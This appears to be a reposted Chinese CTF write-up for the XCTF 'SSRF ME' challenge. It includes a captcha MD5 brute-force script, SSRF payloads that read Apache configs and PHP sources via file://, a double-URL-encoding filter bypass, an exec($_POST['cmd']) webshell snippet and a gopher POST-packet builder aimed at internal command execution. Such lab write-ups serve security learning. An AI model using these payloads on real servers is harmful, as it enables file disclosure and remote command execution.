SSRF ME XCTF

这篇具有很好参考价值的文章主要介绍了SSRF ME XCTF。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

题目

就是一个验证框和URL框,两个都必须有参数
SSRF ME XCTF

解法

验证码

做一个粗略的脚本,一般验证码都是数字,所以直接开md5:

def cmpcapt(substr):
    for i in range(1,100001):
        md5 = hashlib.md5(str(i).encode('utf-8'))
        hexmd5 = md5.hexdigest()
        if hexmd5[-6:-1]+hexmd5[-1] == substr:
            return i

def catchcapt(url, headers):
    r = requests.get(url,headers=headers)
    pat1 = re.compile("== \"[0-9a-z]{6}\"")
    pat2 = re.compile("[0-9a-z]{6}")
    capt = re.findall(pat2, re.findall(pat1,r.text)[0])
    return capt[0]

def getcapt(url, headers):
    return cmpcapt(catchcapt(url, headers))

需要注意的是,这里面的headers需要加上cookie,不然验证码会一直变。

读取文件

经过这下面的payload可以知道很多东西:

    payload={
        0: 'file:///etc/apache2/sites-enabled/000-default.conf',
        1: 'file:///etc/apache2/apache2.conf',
        2: 'file:///lib.php',
        3: 'file:///var/www/html/index.php',
        4: 'file:///var/www/html/lib.php',
        5: 'dict://127.0.0.1:47852',
        6: 'file:///var/www/htmlssrf123123/index.php',
    }

读到lib.php发现它只过滤了flag什么的,所以有以下思路

思路一:使用双重URL编码

file:///%2566lag

思路二:使用gopher(未完成)

看到 6: 'file:///var/www/htmlssrf123123/index.php'里面有如下代码:

<?php
    if(isset($_POST['cmd'])){
        exec($_POST['cmd']);
    }
?>

再看到payload0执行后的结果:

# ServerAdmin webmaster@localhost  80
#         DocumentRoot /var/www/html
#         ErrorLog ${APACHE_LOG_DIR}/error.log
#         CustomLog ${APACHE_LOG_DIR}/access.log combined

# ServerAdmin secret@localhost      47852
#         DocumentRoot /var/www/htmlssrf123123
#         ErrorLog ${APACHE_LOG_DIR}/error.log
#         CustomLog ${APACHE_LOG_DIR}/access.log combined

想到可以传入POST请求到 47852 端口,就可以执行命令了(不知道这个可不可行,我没能成功)。
构造一个POST包使用gopher协议传到 47852 端口即可。到时候flag可以使用f""lag来绕过。
构造包的代码:文章来源地址https://www.toymoban.com/news/detail-424886.html

def PAR_POST(path, content, host='127.0.0.1:80'):
    '''
    构造gopher的POST包请求,攻击IP为127.0.0.1回环IP
    gopher://127.0.0.1:80/_POST包
    :param path: 攻击目标路径(e.g index.php)
    :param content: 攻击payload
    :param port: 将此POST请求发送到哪个端口,可以设置为3306 mysql端口
    :return: POST包
    '''
    PAR ="POST /{} HTTP/1.1\n" \
         "Host: {}\n" \
         "User-Agent: curl/7.43.0\n" \
         "Accept: */*\n" \
         "Content-Type: application/x-www-form-urlencoded\n" \
         "Content-Length: {}\n\n" \
         "{}\n".format(path, host, len(content), content)

    NEW_PAR = urllib.parse.quote(PAR)
    NEW_PAR = NEW_PAR.replace('%0A','%0D%0A')
    res = 'gopher://127.0.0.1:80/_' + NEW_PAR
    return urllib.parse.quote(res)

到了这里,关于SSRF ME XCTF的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ensp两个路由的配置(想对全世界说晚安 恰好你就是全世界)

    路由器A另一个接口操作一样就不多展示了 2.2.1什么是下一跳地址和目标地址 图中192.168.3.4就是路由AR1的下一跳 图中192.168.2.0就是路由AR1的目标网段 目标网段是你数据最终要去的网段 下一跳地址是与路由器端口连接下一个路由器端口的IP地址 学习是一件持久的事情 所以希望每

    2024年02月04日
    浏览(49)
  • 探索智能合约的未来:Give Me Money - 一个创新的DeFi平台

    项目地址:https://gitcode.com/YunYouJun/give-me-money Give Me Money 是一个基于以太坊网络的去中心化金融(DeFi)应用,旨在简化用户的加密货币交易和收益获取过程。通过智能合约技术,该项目提供了一个透明、安全且自动执行的环境,让用户能够轻松参与到各种DeFi活动中,比如借贷、

    2024年04月15日
    浏览(39)
  • ME6211C33M5G-N 输出3.3V 500mA 线性稳压器LDO 参数

    描述 ME6211系列是高精度,低噪声,CMOS LDO电压调压器。ME6211系列提供低输出噪声,高纹波抑制率,低辍学率和非常快速的开启时间,ME6211系列是当今最前沿的手机的理想选择。ME6211内部包括参考电压源、误差放大器、驱动晶体管、电流限制器和相位补偿器。ME6211的电流限制器

    2024年01月15日
    浏览(36)
  • 【数据结构经典题目】—两个队列实现栈与两个栈实现队列

    ​                                           食用指南:本文在有C基础的情况下食用更佳                                            🔥 这就不得不推荐此专栏了: C语言                                         🍀

    2024年02月13日
    浏览(46)
  • BUG:vue表单验证校验不报错,必填都有信息,就是不能正常往下进行

    UI:element-UI 前端:vue2 正常表单里面,有的信息要求必填或者加了一些限制,作为校验验证,只有走到校验才会执行其他行为,比如调用保存接口。 而我遇到的问题是,无论怎么点保存都不会正常往下走,校验状态始终为false,也就是说校验这块有问题。 可是程序页面都没报

    2024年04月12日
    浏览(42)
  • 解放程序员,加速创新,缺少的就是一个工具而已

    随着科技的不断进步和应用场景的不断扩大,软件开发已经成为当今世界的核心驱动力之一。 然而,传统的软件开发模式往往存在着繁琐的编码过程、复杂的架构设计和漫长的调试周期,使得程序员们难以专注于创新和高难度的研究。 很多程序员上班的时候会面临这样的一

    2024年02月15日
    浏览(43)
  • 以前的互联网时代,其实就是一个以互联网技术为主导的年代

    事实上,以往,我们所经历的那个互联网玩家频出的年代,其实就是一个以互联网技术为主导的年代。在那样一个年代里,互联网技术几乎是解决一切痛点和难题的万能解药,几乎是破解一切行业痛点和难题的杀手锏。任何一个行业,只要是与互联网技术产生了联系,便开始

    2024年02月01日
    浏览(59)
  • 金字塔的思维--思考的第一步就是先提炼出一个基本框架

            如果以哲学的眼光来看待这一切,那么可以说每一件事情都包含在其他事物之间,包括我们的社会体系,包括整个自然界,万事万物都处于某一特定的体系当中。一辆行驶的汽车,一匹奔跑的骏马,一栋建筑,一个面包,你、我、他,所有的一切都从属于某一个大的

    2024年02月08日
    浏览(48)
  • 打卡一个力扣题目

    目录 一、问题 二、解题办法一 三、解题方法二 四、对比分析 关于 ARTS 的释义 —— 每周完成一个 ARTS: ● Algorithm: 每周至少做一个 LeetCode 的算法题 ● Review: 阅读并点评至少一篇英文技术文章 ● Tips: 学习至少一个技术技巧 ● Share: 分享一篇有观点和思考的技术文章 希望通

    2024年02月15日
    浏览(35)
  • 【java】[maven]每次创建一个maven模块时java compiler版本就是1.6与实际版本不一致(解决本质问题)

    目录 方案一: 我没有使用 方案二:修改maven配置文件 前言:每次创建一个maven模块时java compiler版本就是1.6与实际版本不一致 使用的使用maven3.9.1 jdk17,但是每次创建一个maven模块都是会影响之前的模块。网上都是修改pom.xml 因为在项目中如果没有指定jdk的版本,重新运行的时

    2024年02月10日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包